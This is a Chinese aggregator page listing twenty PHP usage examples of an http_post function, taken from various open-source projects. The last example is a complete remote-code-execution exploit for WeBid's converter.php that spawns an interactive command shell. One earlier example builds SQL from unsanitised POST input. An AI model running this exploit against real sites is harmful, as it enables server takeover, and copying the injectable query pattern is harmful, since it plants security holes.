• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

PHP http_post函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了PHP中http_post函数的典型用法代码示例。如果您正苦于以下问题:PHP http_post函数的具体用法?PHP http_post怎么用?PHP http_post使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了http_post函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。

示例1: flickr_api_call

function flickr_api_call($method, $args = array(), $more = array())
{
    list($url, $args) = flickr_api_call_build($method, $args, $more);
    $defaults = array('http_timeout' => 10);
    $more = array_merge($defaults, $more);
    $headers = array();
    $rsp = http_post($url, $args, $headers, $more);
    # $url = $url . "?" . http_build_query($args);
    # $rsp = http_get($url);
    if (!$rsp['ok']) {
        return $rsp;
    }
    if (isset($more['raw'])) {
        return $rsp;
    }
    $json = json_decode($rsp['body'], 'as a hash');
    if (!$json) {
        return array('ok' => 0, 'error' => 'failed to parse response');
    }
    if ($json['stat'] != 'ok') {
        return array('ok' => 0, 'error' => $json['message']);
    }
    unset($json['stat']);
    return array('ok' => 1, 'rsp' => $json);
}
开发者ID:nvkelso,项目名称:reverse-geoplanet,代码行数:25,代码来源:lib_flickr_api.php


示例2: addMask

 public function addMask()
 {
     if ($_SERVER['REQUEST_METHOD'] === 'GET') {
         $view = M('view', Null, 'DB_NEWS');
         $vlist = $view->select();
         $this->assign('vlist', $vlist);
         $this->display();
     } else {
         if (!empty($_POST['viewid']) && !empty($_POST['mask'])) {
             $view_mask = M('view_mask', Null, 'DB_NEWS');
             $str = trim($_POST['mask']);
             $arr = explode(',', $str);
             for ($i = 0; $i < count($arr); $i++) {
                 if (!empty($arr[$i])) {
                     $mask['network'] = $arr[$i];
                     $mask['viewid'] = $_POST['viewid'];
                     $is_ok = $view_mask->data($mask)->add();
                     if ($is_ok === false) {
                         $this->ajaxReturn('error', '添加掩码失败,请联系管理员。', 0);
                     }
                     $val = array("mask" => $arr[$i], "vid" => $_POST["viewid"]);
                     $user = array("cid" => $_SESSION['id'], "level" => 2, "info" => "");
                     $param = array("type" => "mask", "opt" => "add", "data" => $val, "user" => $user);
                     $ret = http_post(C('INTERFACE_URL') . "/dnspro/dnsbroker/", $param);
                     $rslt = json_decode($ret["content"], true);
                     if ($rslt["ret"] != 0) {
                         $this->ajaxReturn(0, $rslt["content"], 0);
                     }
                 }
             }
             $this->ajaxReturn(1, 'success', 1);
         }
     }
 }
开发者ID:superman1982,项目名称:ddd,代码行数:34,代码来源:RunmgrAction.class.php


示例3: prepareForTheFeature

 /** @BeforeFeature */
 public static function prepareForTheFeature()
 {
     @http_delete(ELASTICSEARCH . '/cncflora_test0', []);
     @http_delete(ELASTICSEARCH . '/cncflora_test1', []);
     @http_delete(COUCHDB . '/cncflora_test0', []);
     @http_delete(COUCHDB . '/cncflora_test1', []);
     @http_put(ELASTICSEARCH . '/cncflora_test0', []);
     @http_put(ELASTICSEARCH . '/cncflora_test1', []);
     @http_put(COUCHDB . '/cncflora_test0', []);
     @http_put(COUCHDB . '/cncflora_test1', []);
     $file = file_get_contents(__DIR__ . "/load.json");
     $json = json_decode($file);
     $r = http_post(COUCHDB . "/cncflora_test0/_bulk_docs", array('docs' => $json));
     foreach ($json as $doc) {
         $doc->id = $doc->_id;
         foreach ($r as $revs) {
             if ($revs->id == $doc->_id) {
                 $doc->rev = $revs->rev;
                 $doc->_rev = $revs->rev;
             }
         }
         http_put(ELASTICSEARCH . '/cncflora_test0/' . $doc->metadata->type . '/' . $doc->_id, $doc);
     }
     sleep(1);
 }
开发者ID:CNCFlora,项目名称:sig,代码行数:26,代码来源:FeatureContext.php


示例4: weixin_send_custom_message

function weixin_send_custom_message($from_user, $msg)
{
    $access_token = get_weixin_token();
    $url = "https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token={$access_token}";
    $msg = str_replace('"', '\\"', $msg);
    $post = '{"touser":"' . $from_user . '","msgtype":"text","text":{"content":"' . $msg . '"}}';
    http_post($url, $post);
}
开发者ID:jasonhzy,项目名称:bjcms2.3,代码行数:8,代码来源:lib_weixin.php


示例5: geekmail_make_preview

/** 
 * Use the geekmail 'preview' to convert BGG markup to HTML
 * 
 * $recipients = a comma-seperated list of BGG usernames
 * $subject = the subject line of the geekmail
 * $message = the content of the geekmail
 *
 * Returns TRUE on success and FALSE on failure.
 */
function geekmail_make_preview($message)
{
    global $config;
    $url = "https://" . $config['bgg']['domain'] . "/geekmail_controller.php";
    $params = array('action' => 'save', 'messageid' => '', 'touser' => $config['bgg']['username'], 'subject' => 'Citizen Recognition Preview', 'savecopy' => 1, 'geek_link_select_1' => '', 'sizesel' => 10, 'body' => $message, 'B1' => 'Preview', 'label' => '', 'ajax' => 1);
    $result = http_post($url, $params, $config['bgg']['cookie']);
    return $result;
}
开发者ID:scraimer,项目名称:bgggcr,代码行数:17,代码来源:geekmail.inc.php


示例6: http_send

function http_send($url, $data = '')
{
    $result = null;
    if (empty($data)) {
        $result = http_get($url);
    } else {
        $result = http_post($url, $data);
    }
    return $result;
}
开发者ID:sdgdsffdsfff,项目名称:stplatform,代码行数:10,代码来源:http_helper.php


示例7: flickr_api_call

function flickr_api_call($method, $args = array(), $more = array())
{
    list($url, $args) = flickr_api_call_build($method, $args, $more);
    $defaults = array('http_timeout' => 10);
    $more = array_merge($defaults, $more);
    $headers = array();
    $rsp = http_post($url, $args, $headers, $more);
    # $url = $url . "?" . http_build_query($args);
    # $rsp = http_get($url);
    return flickr_api_parse_response($rsp);
}
开发者ID:nilswalk,项目名称:parallel-flickr,代码行数:11,代码来源:lib_flickr_api.php


示例8: oauth

 /**
  * jsapi配置
  * @return array
  */
 public function oauth()
 {
     $code = $this->code = get('code');
     $redirect_uri = get('redirect_uri', '');
     $redirect_uri = urldecode($redirect_uri);
     $query = array('client_secret' => $this->appsecret, 'client_id' => $this->appid, 'grant_type' => 'authorization_code', 'redirect_uri' => $redirect_uri, 'code' => $code);
     $token_info_josn = http_post('https://login.uber.com.cn/oauth/v2/token', $query);
     echo $token_info_josn;
     $token_info = json_decode($token_info_josn, true);
     var_dump($token_info);
     exit;
 }
开发者ID:wkgg,项目名称:uberHacker,代码行数:16,代码来源:uber.php


示例9: execPayment

/**
 * @param Array $fomrs
 * @param Boolean $useSSL
 * @return response string
 */
function execPayment($fomrs, $useSSL)
{
    $gofpay_gateway_url = trim(Configuration::get('GOFPAY_GATEWAY_URL')) . '/' . Configuration::get('GOFPAY_GATEWAY_VERSION') . '/gateway';
    if ($useSSL) {
        //crul请求,
        $info = curl_post($gofpay_gateway_url, http_build_query($fomrs, '', '&'));
    } else {
        //普通http请求
        $info = http_post($gofpay_gateway_url, http_build_query($fomrs, '', '&'));
    }
    return explode_return_str($info);
}
开发者ID:gofpay,项目名称:prestashop-common,代码行数:17,代码来源:transaction.php


示例10: http_post_serialized

function http_post_serialized($host, $path, $in, &$out)
{
    // serialize
    $in = serialize($in);
    // setup headers
    $headers = array("Content-Type" => "application/vnc.php.serialized");
    // call http_post
    $status = http_post($host, $path, $headers, $in, $headers, $out);
    // unserialize
    $out = @unserialize($out);
    // return
    return $status;
}
开发者ID:jenalgit,项目名称:atsumi,代码行数:13,代码来源:http.php


示例11: test

 function test()
 {
     $param['touser'] = "o3ZYauOnS_g-qQ9bYISisG2MLfvE";
     $param['msgtype'] = "text";
     $param['text']['content'] = "Hello World!";
     $param['customservice']['kf_account'] = "zbyy@nyfslg";
     $param_json = json_encode($param);
     dump($param_json);
     $token = get_token();
     $access_token = get_access_token($token);
     $url = "https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token=" . $access_token;
     $return = http_post($url, $param_json);
     dump($return);
 }
开发者ID:strivi,项目名称:siples,代码行数:14,代码来源:SendredpackController.class.php


示例12: send_ewm

 function send_ewm()
 {
     //-----获取access_token
     $access_token = get_access_token();
     //----生成二维码
     $ewmid = I('ewmid');
     $postUrl = 'https://api.weixin.qq.com/cgi-bin/qrcode/create?access_token=' . $access_token;
     $postJson = '{"action_name": "QR_LIMIT_SCENE", "action_info": {"scene": {"scene_id": ' . $ewmid . '}}}';
     $return = json_decode(http_post($postUrl, $postJson), true);
     if ($return['errcode'] == 0) {
         $ticket = $return['ticket'];
         $qr_code = 'https://mp.weixin.qq.com/cgi-bin/showqrcode?ticket=' . UrlEncode($ticket);
         $this->qr_code_save($qr_code, $ewmid);
         $this->success('生成二维码成功');
     } else {
         $this->error('生成二维码失败,错误的返回码是:' . $res['errcode'] . ', 错误的提示是:' . $res['errmsg']);
     }
 }
开发者ID:strivi,项目名称:siples,代码行数:18,代码来源:QrcodeController.class.php


示例13: get_taobao_session_keyOp

 public function get_taobao_session_keyOp()
 {
     $taobao_session_key = "";
     if (C('taobao_api_isuse')) {
         $param = array();
         $param['client_id'] = C('taobao_app_key');
         $param['client_secret'] = C('taobao_secret_key');
         $param['grant_type'] = 'authorization_code';
         $param['code'] = trim($_POST['auth_code']);
         $param['redirect_uri'] = "urn:ietf:wg:oauth:2.0:oob";
         $result = http_post('https://oauth.taobao.com/token', $param);
         if ($result) {
             $result = json_decode($result);
             if (!empty($result->access_token)) {
                 $taobao_session_key = $result->access_token;
             }
         }
     }
     output_data(array('taobao_session_key' => $taobao_session_key));
 }
开发者ID:noikiy,项目名称:meizhan,代码行数:20,代码来源:seller_taobao_api.php


示例14: foursquare_api_call

function foursquare_api_call($method, $args = array(), $more = array())
{
    $method = ltrim($method, "/");
    $args['v'] = gmdate("Ymd", time());
    if ($more['method'] == 'POST') {
        $url = $GLOBALS['foursquare_api_endpoint'] . $method;
        $rsp = http_post($url, $args);
    } else {
        $query = http_build_query($args);
        $url = $GLOBALS['foursquare_api_endpoint'] . $method . "?{$query}";
        $rsp = http_get($url);
    }
    if (!$rsp['ok']) {
        return $rsp;
    }
    $data = json_decode($rsp['body'], "as hash");
    if (!$data) {
        return not_okay("failed to parse response");
    }
    return okay(array("rsp" => $data['response']));
}
开发者ID:nilswalk,项目名称:privatesquare,代码行数:21,代码来源:lib_foursquare_api.php


示例15: search_post

function search_post($es, $db, $idx, $q)
{
    $q = str_replace("=", ":", $q);
    $url = $es . '/' . $db . '/' . $idx . '/_search';
    $doc = array("query" => array("query_string" => array("query" => $q)), "size" => 9999);
    $r = http_post($url, $doc);
    $arr = array();
    $ids = [];
    foreach ($r->hits->hits as $hit) {
        $doc = $hit->_source;
        if (isset($doc->id) && !isset($doc->_id)) {
            $doc->_id = $doc->id;
            unset($doc->id);
        }
        if (isset($doc->rev) && !isset($doc->_rev)) {
            $doc->_rev = $doc->rev;
            unset($doc->rev);
        }
        $arr[] = $doc;
    }
    return $arr;
}
开发者ID:CNCFlora,项目名称:sig,代码行数:22,代码来源:http.php


示例16: geo_ogre_convert_file

function geo_ogre_convert_file($path)
{
    if (!file_exists($path)) {
        return array('ok' => 0, 'error' => 'file does not exist');
    }
    $url = $GLOBALS['cfg']['ogre_host'] . $GLOBALS['cfg']['ogre_convert_endpoint'];
    $post_data = array('upload' => "@{$path}");
    $headers = array();
    $more = array('http_port' => $GLOBALS['cfg']['ogre_port']);
    $rsp = http_post($url, $post_data, $headers, $more);
    if (!$rsp['ok']) {
        return $rsp;
    }
    $json = json_decode($rsp['body'], 'as a hash');
    if (!$json) {
        return array('ok' => 0, 'error' => 'failed to decode JSON');
    }
    if (isset($json['error'])) {
        return array('ok' => 0, 'error' => $json['message']);
    }
    return array('ok' => 1, 'data' => $json);
}
开发者ID:netcon-source,项目名称:dotspotting,代码行数:22,代码来源:lib_geo_ogre.php


示例17: solr_select

function solr_select($url, $params = array(), $more = array())
{
    $params['wt'] = 'json';
    #
    $str_params = implode('&', $params);
    $cache_key = "solr_select_" . md5($str_params);
    $cache = cache_get($cache_key);
    if ($cache['ok']) {
        return $cache['data'];
    }
    $http_rsp = http_post($url, $str_params);
    if (!$http_rsp['ok']) {
        return $http_rsp;
    }
    $as_array = True;
    $json = json_decode($http_rsp['body'], $as_array);
    if (!$json) {
        return array('ok' => 0, 'error' => 'Failed to parse response');
    }
    $rsp = array('ok' => 1, 'rows' => $json);
    cache_set($cache_key, $rsp);
    return $rsp;
}
开发者ID:netcon-source,项目名称:dotspotting,代码行数:23,代码来源:lib_solr.php


示例18: post

 public function post($url, $data = array())
 {
     $response = http_post($url, $data);
     $parsed = http_parse_message($response);
     return $parsed;
 }
开发者ID:benjaminhawkeslewis,项目名称:SevenLeggedSpider,代码行数:6,代码来源:SevenLeggedSpider.php


示例19: testCase

 public function testCase()
 {
     $proname = $this->input->post('ID_Pro');
     $geturl = $this->input->post('ID_Url');
     $post = $this->input->post('ID_Post');
     $ckUp = $this->input->post('ckUpload');
     $ckJson = $this->input->post('ckJson');
     $ckSql = $this->input->post('ckSql');
     $ckRedis = $this->input->post('ckRedis');
     //echo $ckSql."\n";
     $output = "";
     if ($ckSql == "on") {
         $sql_ip = trim($this->input->post('sql_ip'));
         $sql_user = trim($this->input->post('sql_user'));
         $sql_pass = trim($this->input->post('sql_pass'));
         $sql_db = trim($this->input->post('sql_db'));
         $sql_tb = trim($this->input->post('sql_tb'));
         $column = trim($this->input->post('sql_col'));
         $value = trim($this->input->post('sql_value'));
         $QueStr = "select * from " . $sql_tb . " where " . $column . "=" . $value . " limit 10";
         $_SESSION['mysqlResult'] = $this->op_mysql($sql_ip, $sql_user, $sql_pass, $sql_db, $QueStr);
         //echo $_SESSION['mysqlResult'];
     }
     if ($ckRedis == "on") {
         $rd_ip = trim($this->input->post('rd_ip'));
         $rd_key = trim($this->input->post('rd_key'));
         $_SESSION['redisResult'] = $this->op_redis($rd_ip, $rd_key, "str");
     }
     if ($ckJson == "on") {
         $fileparam = $this->input->post('FileParam');
         $file = "";
         //echo $geturl.",".$post;
         if (!empty($_FILES['file']['name'])) {
             //$path="./casemng/case/".$proname."/".$_FILES['file']['name'];
             $path = "./uploadFiles/" . $proname . "_" . $_FILES['file']['name'];
             $file = $proname . "_" . $_FILES['file']['name'];
             //$_FILES['file']['name'];
             $fileinfo = $_FILES['file'];
             //var_dump($fileinfo);
             if ($fileinfo['size'] > 0) {
                 move_uploaded_file($fileinfo['tmp_name'], $path);
             }
         }
         if (substr($post, strlen($post) - 1, 1) == "&") {
             $post = substr($post, 0, strlen($post) - 1);
         }
         if ($fileparam != "") {
             if (substr($fileparam, strlen($fileparam) - 1, 1) != "=") {
                 $fileparam = $fileparam . "=";
             }
             $post = $post . "&" . $fileparam . $file;
         }
         if (substr($post, 0, 1) == "&") {
             $post = substr($post, 1);
         }
         if ($post != "") {
             $PostJson = $this->rewriteParam($post, $file);
             $postParam = json_decode($PostJson, true);
         } else {
             $postParam = "";
         }
         //var_dump($postParam);
         $output = http_post($geturl, $postParam);
     }
     //echo $output;
     $_SESSION['testResult'] = $output;
     $_SESSION['Url'] = $geturl;
     $_SESSION['postParam'] = $post;
     $this->show(0);
     //$callback = $_GET['callback'];
     //echo $callback.'('.json_encode($output).')';
 }
开发者ID:sdgdsffdsfff,项目名称:stplatform,代码行数:72,代码来源:admittanceTest.php


示例20: curl_setopt

curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
function http_post($page, $data)
{
    global $ch, $url;
    curl_setopt($ch, CURLOPT_URL, $url . $page);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    return curl_exec($ch);
}
print "\n+----------------------------------------------------------------------+";
print "\n| WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit by EgiX |";
print "\n+----------------------------------------------------------------------+\n";
if ($argc < 2) {
    print "\nUsage......: php {$argv['0']} <url>\n";
    print "\nExample....: php {$argv['0']} https://localhost/";
    print "\nExample....: php {$argv['0']} http://localhost/webid/\n";
    die;
}
$url = $argv[1];
$code = rawurlencode("'));print('_code_');passthru(base64_decode(\$_POST['c'])//");
http_post("converter.php", "action=convert&from=USD&to={$code}");
while (1) {
    print "\nwebid-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") {
        break;
    }
    preg_match("/_code_(.*)/s", http_post("includes/currencies.php", "c=" . base64_encode($cmd)), $m) ? print $m[1] : die("\n[-] Exploit failed\n");
}
开发者ID:SuperQcheng,项目名称:exploit-database,代码行数:31,代码来源:17487.php



注:本文中的http_post函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP http_post_data函数代码示例发布时间:2022-05-15
下一篇:
PHP http_parse_message函数代码示例发布时间:2022-05-15
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap